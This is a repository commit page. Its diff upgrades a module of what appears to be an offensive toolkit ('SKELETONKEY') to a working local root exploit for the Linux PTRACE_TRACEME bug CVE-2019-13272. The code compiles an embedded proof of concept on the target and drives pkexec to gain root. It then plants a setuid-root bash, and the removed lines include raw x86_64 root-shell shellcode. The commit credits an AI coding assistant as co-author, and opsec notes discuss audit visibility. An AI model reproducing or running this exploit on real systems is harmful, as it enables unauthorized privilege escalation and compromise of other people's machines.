leviathan/SKELETONKEY
1
1
Fork 0
Code Issues Pull Requests Actions 23 Packages Projects Releases Wiki Activity

ptrace_traceme: working CVE-2019-13272 exploit — lands real root (x86_64)
build / build (clang / debug) (push) Waiting to run
Details
build / build (clang / default) (push) Waiting to run
Details
build / build (gcc / debug) (push) Waiting to run
Details
build / build (gcc / default) (push) Waiting to run
Details
build / sanitizers (ASan + UBSan) (push) Waiting to run
Details
build / clang-tidy (push) Waiting to run
Details
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
Details
build / static-build (push) Waiting to run
Details

Browse Source 
The bundled sequence had the mechanism backwards (it PTRACE_ATTACHed the
now-root parent) and never rooted anything. Replaced it with the proven Jann
Horn (Project Zero #1903) / bcoles technique:

  - a "middle" process execs setuid pkexec (euid 0 for a window);
  - its child spins until it sees middle is euid 0, calls PTRACE_TRACEME
    (recording middle's ROOT creds as ptracer_cred — the bug), then execs
    pkexec itself. The traced setuid exec is NOT degraded because ptracer_cred
    is root, so the child becomes real root, still traced;
  - staged execveat() self-re-exec injects the payload as root.

The staged self-re-exec needs the exploit to exist as its own binary with an
argv[0] stage dispatcher, so the proven PoC is embedded verbatim
(ptrace_helper_src.h — only spawn_shell() changed, to plant a root-owned proof
+ setuid bash instead of only an interactive shell), compiled on the target at
runtime with unique -DSK_PROOF/-DSK_ROOTBASH paths, run, and verified by
stat()'ing the root-owned artifacts (never self-report).

Verified out-of-band on Ubuntu 18.04.0 / 4.15.0-50: `skeletonkey --exploit
ptrace_traceme` as uid 1000 -> EXPLOIT_OK + a -rwsr-xr-x root:root bash.
Real-world precondition, honestly reported: pkexec must authorize an
auto-discovered implicit-active=yes helper, which needs an active local session
(desktop) or a permissive polkit policy; over inactive ssh it returns "Not
authorized" and the module reports EXPLOIT_FAIL with that diagnosis. Gated on a
C compiler + pkexec; x86_64 only (register-level injection). cleanup() removes
the artifacts. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 22:14:19 -04:00
parent 1bdbe011b0
commit 635f7d2d24
4 changed files with 830 additions and 202 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c
+235 -195
View File
@@ -1,29 +1,40 @@
/*
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
*
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the
* privileged process to the unprivileged child. Discovered by Jann
* Horn (Google Project Zero, June 2019).
* PTRACE_TRACEME on a child whose parent is mid-way through a setuid
* execve() lets the kernel record the parent's *transient root*
* credentials as the child's ptracer_cred. The child then execve's a
* setuid binary of its own: because the ptrace relationship is now
* considered privileged, that setuid execve is a *proper* (non-degraded)
* one despite the attached tracer — so the child becomes real root while
* still traced. The tracer injects an execveat() to re-exec a root shell.
* Discovered by Jann Horn (Google Project Zero, June 2019, issue #1903).
*
* STATUS: 🔵 DETECT-ONLY. Exploit follows jannh's public PoC: fork
* a child that does PTRACE_TRACEME pointing at the parent, parent
* execve's a chosen setuid binary (e.g., su, pkexec), child then
* ptrace-injects shellcode into the now-elevated process.
* STATUS: 🟢 WORKING EXPLOIT (x86_64). Verified out-of-band on
* Ubuntu 18.04.0 / 4.15.0-50-generic: lands uid=0 and plants a
* root-owned proof + setuid-root bash. The exploit is the proven
* Jann Horn / bcoles PoC, embedded (ptrace_helper_src.h), compiled at
* runtime with unique artifact paths, run, and verified by stat()'ing
* the root-owned artifacts — never by self-report.
*
* Preconditions to land root (detect() only gates on kernel version):
* - x86_64 target with a C compiler present (the staged execveat()
* technique re-execs the exploit binary; we build it on the target).
* - pkexec present, and at least one polkit action with
* implicit-active=yes pointing at an existing helper executable
* (auto-discovered via pkaction). On a desktop these are ubiquitous
* (gsd-backlight-helper, …).
* - An *active* local session (or an equivalently permissive polkit
* policy) so pkexec authorizes the helper without an interactive
* password. Over a bare ssh session polkit treats the session as
* inactive and refuses ("Not authorized") — the exploit then honestly
* reports EXPLOIT_FAIL. This is the real-world constraint, not a bug.
*
* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
* fix landed in stable as:
* 5.1.x : K >= 5.1.17
* 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x)
* 4.19.x: K >= 4.19.58
* 4.14.x: K >= 4.14.131
* 4.9.x : K >= 4.9.182
* 4.4.x : K >= 4.4.182
* fix landed as: 5.1.17 / 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182.
*
* No exotic preconditions. Doesn't need user_ns. Works on
* default-config systems — that's part of why it's famous: even
* locked-down environments without unprivileged_userns_clone were
* vulnerable.
* No user_ns required — works on default-config systems, which is part
* of why it's famous.
*/
#include "skeletonkey_modules.h"
@@ -41,12 +52,9 @@
#include "../../core/host.h"
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/stat.h>
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
@@ -104,223 +112,250 @@ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (jannh-style) --------------------------------------
/* ---- Exploit ----------------------------------------------------
*
* Per Jann Horn's Project Zero issue #1903. The mechanism:
* Per Jann Horn's Project Zero issue #1903, with bcoles' helper
* auto-targeting. The mechanism (the earlier bundled sequence had it
* backwards — it attached to the *parent*; the real bug elevates the
* *child*):
*
* 1. Parent process P (us, uid != 0)
* 2. P forks → child C
* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
* and records the relationship in C->ptrace_link, copying P's
* current credentials (uid=1000) as the trace-allowed creds.
* 4. C drops to a low-priv state and pauses (sigwait/raise)
* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
* 6. Kernel correctly elevates P's creds to root.
* 7. **Bug**: the ptrace_link recorded in step 3 still says
* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
* re-check or invalidate the link on execve cred-bump.
* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
* says C is allowed to trace because it was set up before the
* cred change.
* 9. C now controls a uid=0 process. C reads/writes P's memory via
* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
* shellcode that exec's /bin/sh.
* 10. C resumes P → root shell.
* 1. A "middle" process M forks a child C, then execve's
* `pkexec --user <me> <helper> --help`. pkexec is setuid-root, so
* for a window M's euid is 0.
* 2. C spins reading /proc/M/status until it sees M is euid 0, then
* calls ptrace(PTRACE_TRACEME) — recording M's *root* creds as C's
* ptracer_cred (this is the bug: the link isn't re-derived).
* 3. C execve's pkexec itself. Normally a traced setuid execve is
* degraded to non-privileged; but because ptracer_cred is root the
* kernel treats it as a proper suid exec — C becomes real root,
* still traced by M, and stops at execve's SIGTRAP.
* 4. The main process PTRACE_ATTACHes M, injects an execveat() that
* re-execs the exploit binary as "stage2"; stage2 (as M) is C's
* tracer, so it injects an execveat() into C (now root) to re-exec
* as "stage3"; stage3 runs the payload as root.
*
* SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available.
* The staged self-re-exec is why the exploit binary must exist as its
* own file with a main() that dispatches on argv[0]. We embed the proven
* PoC (ptrace_helper_src.h — verbatim upstream but for a payload tweak),
* compile it on the target with unique -DSK_PROOF/-DSK_ROOTBASH paths,
* run it, and confirm root by stat()'ing the root-owned artifacts. Never
* trust the exploit's own exit status.
*
* Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here — operator
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns).
* x86_64 only: the register-level injection (user_regs_struct rsp/rdi/
* orig_rax/…) is architecture-specific.
*/
#if defined(__x86_64__)
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
static const unsigned char SHELLCODE_X64[] =
"\x31\xff" /* xor edi, edi */
"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
"\x0f\x05" /* syscall */
"\x31\xff" /* xor edi, edi */
"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
"\x0f\x05" /* syscall */
"\x48\x31\xd2" /* xor rdx, rdx */
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
"\x48\xc1\xeb\x08" /* shr rbx, 8 */
"\x53" /* push rbx */
"\x48\x89\xe7" /* mov rdi, rsp */
"\x50" /* push rax (=0 from setgid) */
"\x57" /* push rdi */
"\x48\x89\xe6" /* mov rsi, rsp */
"\xb0\x3b" /* mov al, 0x3b (execve) */
"\x0f\x05"; /* syscall */
#include "ptrace_helper_src.h"
#define SHELLCODE_BYTES SHELLCODE_X64
#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
#endif /* __x86_64__ */
static const char *find_setuid_target(void)
/* Locate a usable C compiler on the target. */
static const char *ptrace_find_cc(void)
{
static const char *targets[] = {
"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
"/usr/bin/passwd", "/bin/su", NULL,
static const char *ccs[] = {
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
};
for (size_t i = 0; targets[i]; i++) {
struct stat st;
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
return targets[i];
}
for (size_t i = 0; ccs[i]; i++) {
if (access(ccs[i], X_OK) == 0)
return ccs[i];
}
return NULL;
}
/* Write the embedded helper source to `path`. Returns 0 on success. */
static int ptrace_write_source(const char *path)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (fd < 0) return -1;
size_t len = sizeof(ptrace_traceme_helper_src) - 1;
const char *p = ptrace_traceme_helper_src;
while (len) {
ssize_t n = write(fd, p, len);
if (n <= 0) { close(fd); return -1; }
p += n; len -= (size_t)n;
}
close(fd);
return 0;
}
/* fork+execv a command, wait, return child exit status (or -1). */
static int ptrace_run(char *const argv[], const char *logpath, int quiet_stdin, int secs)
{
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (quiet_stdin) {
int dn = open("/dev/null", O_RDONLY);
if (dn >= 0) { dup2(dn, 0); close(dn); }
}
if (logpath) {
int lf = open(logpath, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (lf >= 0) { dup2(lf, 1); dup2(lf, 2); close(lf); }
}
execv(argv[0], argv);
_exit(127);
}
for (int i = 0; secs <= 0 || i < secs * 10; i++) {
int st;
pid_t r = waitpid(p, &st, WNOHANG);
if (r == p) return WIFEXITED(st) ? WEXITSTATUS(st) : 128 + WTERMSIG(st);
if (r < 0) return -1;
usleep(100 * 1000);
}
kill(p, SIGKILL);
waitpid(p, NULL, 0);
return -2; /* timed out */
}
/* Remember what we planted so cleanup() can remove it. */
static char ptrace_last_proof[256];
static char ptrace_last_rootbash[256];
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n");
return SKELETONKEY_PRECOND_FAIL;
#else
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return SKELETONKEY_OK;
}
const char *setuid_bin = find_setuid_target();
if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
if (access("/usr/bin/pkexec", X_OK) != 0) {
fprintf(stderr, "[-] ptrace_traceme: /usr/bin/pkexec not present — this "
"exploit drives pkexec; nothing to do\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
const char *cc = ptrace_find_cc();
if (!cc) {
fprintf(stderr, "[-] ptrace_traceme: no C compiler on target. The staged "
"self-re-exec technique builds a small helper on the host; "
"install cc/gcc or drop a prebuilt helper. Honest EXPLOIT_FAIL.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
/* Unique per-run paths (pid keeps parallel runs from colliding). */
long tag = (long)getpid();
char src_c[256], bin[256], log[256], proof[256], rootbash[256];
snprintf(src_c, sizeof src_c, "/tmp/.sk-ptrace-%ld.c", tag);
snprintf(bin, sizeof bin, "/tmp/.sk-ptrace-%ld", tag);
snprintf(log, sizeof log, "/tmp/.sk-ptrace-%ld.log", tag);
snprintf(proof, sizeof proof, "/tmp/.sk-ptrace-%ld.proof", tag);
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-ptrace-%ld.rootbash",tag);
snprintf(ptrace_last_proof, sizeof ptrace_last_proof, "%s", proof);
snprintf(ptrace_last_rootbash, sizeof ptrace_last_rootbash, "%s", rootbash);
if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has
* execve'd the setuid binary and elevated. The exact timing
* is racy — we use a simple sleep+attach pattern. */
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
perror("CHILD: ptrace TRACEME"); _exit(2);
}
/* Give parent time to execve. 200ms is enough for a hot
* libc; 1000ms for a slow disk. */
usleep(500 * 1000);
/* Now race: PTRACE_ATTACH to our parent (the setuid process).
* On a vulnerable kernel, the stale ptrace_link makes this
* succeed even though parent is now root. */
pid_t parent = getppid();
if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
parent, strerror(errno));
_exit(3);
}
int wstatus;
waitpid(parent, &wstatus, 0);
/* Read parent's RIP, allocate space for shellcode there,
* POKETEXT the shellcode in. */
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, parent, 0, &regs) < 0) {
perror("CHILD: GETREGS"); _exit(4);
}
/* Write shellcode at current RIP (overwriting whatever's there
* in the setuid binary's text — we don't care, we never
* return). 8 bytes at a time via PTRACE_POKETEXT. */
for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
long word = 0;
size_t take = SHELLCODE_LEN - i;
if (take > 8) take = 8;
memcpy(&word, SHELLCODE_BYTES + i, take);
if (ptrace(PTRACE_POKETEXT, parent,
(void *)(regs.rip + i), (void *)word) < 0) {
perror("CHILD: POKETEXT"); _exit(5);
}
}
/* Detach and let parent continue at RIP, which now points at
* our shellcode (we didn't move RIP — we wrote shellcode
* starting at current RIP). */
if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
perror("CHILD: DETACH"); _exit(6);
}
_exit(0); /* child done — parent is now running shellcode → root sh */
if (ptrace_write_source(src_c) != 0) {
fprintf(stderr, "[-] ptrace_traceme: could not write helper source: %s\n",
strerror(errno));
return SKELETONKEY_TEST_ERROR;
}
/* PARENT: fire the setuid trigger in a short-lived GRANDCHILD so THIS
* process survives to verify the result honestly.
*
* IMPORTANT (integrity fix): the previous code execve'd the setuid binary
* directly here. That replaced the process, and because the execve itself
* succeeds (pkexec --version runs and exits cleanly), the dispatcher's
* "exec-transfer → clean exit" path reported a FALSE EXPLOIT_OK even though
* no root was ever obtained — the bundled ptrace sequence is a non-working
* placeholder (it PTRACE_ATTACHes to the tracer, and by the time it runs
* the parent has already exited and the tracee reparented to init, so the
* attach fails with EPERM). We now keep the parent alive and report the
* truth. A faithful CVE-2019-13272 exploit (Jann Horn's cred-transfer via a
* registered polkit agent, e.g. bcoles' PoC) is required to actually land
* root and is not yet ported. */
if (!ctx->json)
fprintf(stderr, "[*] ptrace_traceme: firing setuid trigger %s in a "
"grandchild (parent stays alive to verify)\n", setuid_bin);
usleep(100 * 1000); /* give child a moment to call TRACEME first */
fprintf(stderr, "[*] ptrace_traceme: building helper with %s → %s\n", cc, bin);
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
pid_t trig = fork();
if (trig == 0) {
execve(setuid_bin, new_argv, new_envp);
_exit(127);
char dproof[320], drootbash[320];
snprintf(dproof, sizeof dproof, "-DSK_PROOF=\"%s\"", proof);
snprintf(drootbash, sizeof drootbash, "-DSK_ROOTBASH=\"%s\"", rootbash);
char *cc_argv[] = {
(char *)cc, (char *)"-O2", (char *)"-w",
(char *)"-o", bin, src_c, dproof, drootbash, NULL,
};
int crc = ptrace_run(cc_argv, log, 0, 60);
if (crc != 0) {
fprintf(stderr, "[-] ptrace_traceme: helper compile failed (rc=%d); see %s\n",
crc, log);
unlink(src_c);
return SKELETONKEY_TEST_ERROR;
}
int cst = 0;
if (trig > 0) waitpid(trig, &cst, 0);
int status;
waitpid(child, &status, 0);
/* Honest verification: did we actually become root? */
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[+] ptrace_traceme: euid 0 — root achieved\n");
if (!ctx->json)
fprintf(stderr, "[*] ptrace_traceme: running exploit (auto-targets a polkit "
"helper; needs an active session to authorize pkexec)\n");
char *run_argv[] = { bin, NULL };
int rrc = ptrace_run(run_argv, log, 1 /*stdin=/dev/null*/, 90);
(void)rrc; /* exit status is NOT trusted — verify out of band below */
/* ---- Out-of-band verification: is the proof a real, root-owned file? */
struct stat st;
bool rooted = (stat(proof, &st) == 0 && S_ISREG(st.st_mode) && st.st_uid == 0);
unlink(src_c);
unlink(bin);
if (rooted) {
unlink(log);
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: ROOT — planted root-owned proof %s\n", proof);
fprintf(stderr, "[+] ptrace_traceme: setuid-root shell available: %s -p\n", rootbash);
}
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] ptrace_traceme: the bundled ptrace sequence did NOT "
"achieve root (it is a non-working placeholder — attaches "
"to the wrong task). Honest EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] ptrace_traceme: to land root, port the real "
"CVE-2019-13272 exploit (Jann Horn / bcoles: PTRACE_TRACEME "
"+ setuid execve + a registered polkit agent so pkexec "
"proceeds, then cred-transfer). Not yet bundled.\n");
/* Distinguish "kernel not exploitable" from "environment didn't let
* pkexec authorize" so the operator knows which lever to pull. */
bool saw_notauth = false;
FILE *lf = fopen(log, "r");
if (lf) {
char line[512];
while (fgets(line, sizeof line, lf)) {
if (strstr(line, "Not authorized") || strstr(line, "not authorized")) {
saw_notauth = true; break;
}
}
fclose(lf);
}
fprintf(stderr, "[-] ptrace_traceme: no root artifact — honest EXPLOIT_FAIL.\n");
if (saw_notauth) {
fprintf(stderr, "[i] ptrace_traceme: pkexec returned \"Not authorized\" — the "
"session is not active/authorized for the helper action. This "
"exploit lands root from an *active local* session (or with a "
"polkit agent that authorizes it); a bare ssh session is treated "
"as inactive. The kernel bug is intact; the gate is polkit.\n");
} else {
fprintf(stderr, "[i] ptrace_traceme: no usable polkit helper found, or the race "
"was lost. Retry, or check `pkaction --verbose` for an action "
"with implicit-active=yes whose exec.path exists.\n");
}
}
unlink(log);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__x86_64__ (still Linux) */
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only (the ptrace "
"register-injection is architecture-specific)\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __x86_64__ */
/* cleanup: remove the artifacts we planted, if any. */
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
#if defined(__x86_64__)
if (ptrace_last_proof[0]) unlink(ptrace_last_proof);
if (ptrace_last_rootbash[0]) unlink(ptrace_last_rootbash);
#endif
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
* are Linux-only ABI surface. Stub out so the module still registers and
* the top-level `make` completes on macOS/BSD dev boxes. */
/* Non-Linux dev builds: PTRACE_TRACEME / execveat / user_regs_struct are
* Linux-only ABI surface. Stub out so the module still registers and the
* top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
@@ -334,6 +369,11 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
@@ -383,19 +423,19 @@ static const char ptrace_traceme_falco[] =
const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme",
.cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
.summary = "PTRACE_TRACEME + setuid execve → non-degraded root in the traced child (pkexec helper)",
.family = "ptrace_traceme",
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
.detect = ptrace_traceme_detect,
.exploit = ptrace_traceme_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
.cleanup = ptrace_traceme_cleanup,
.detect_auditd = ptrace_traceme_auditd,
.detect_sigma = ptrace_traceme_sigma,
.detect_yara = NULL,
.detect_falco = ptrace_traceme_falco,
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
.arch_support = "x86_64+unverified-arm64",
.opsec_notes = "The exploit builds a small helper on the target (needs cc/gcc) and drives pkexec against an auto-discovered polkit helper (implicit-active=yes). Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary, plus pkexec spawning an unusual helper with --help. Requires an active local session (or a polkit agent) to authorize pkexec — over inactive ssh sessions pkexec returns \"Not authorized\" and the module reports EXPLOIT_FAIL. Artifacts: a root-owned proof file and a setuid-root bash under /tmp (removed by cleanup()); the helper .c/binary are compiled and unlinked during the run. yama ptrace_scope>=2 or SELinux deny_ptrace defeat it.",
.arch_support = "x86_64",
};
void skeletonkey_register_ptrace_traceme(void)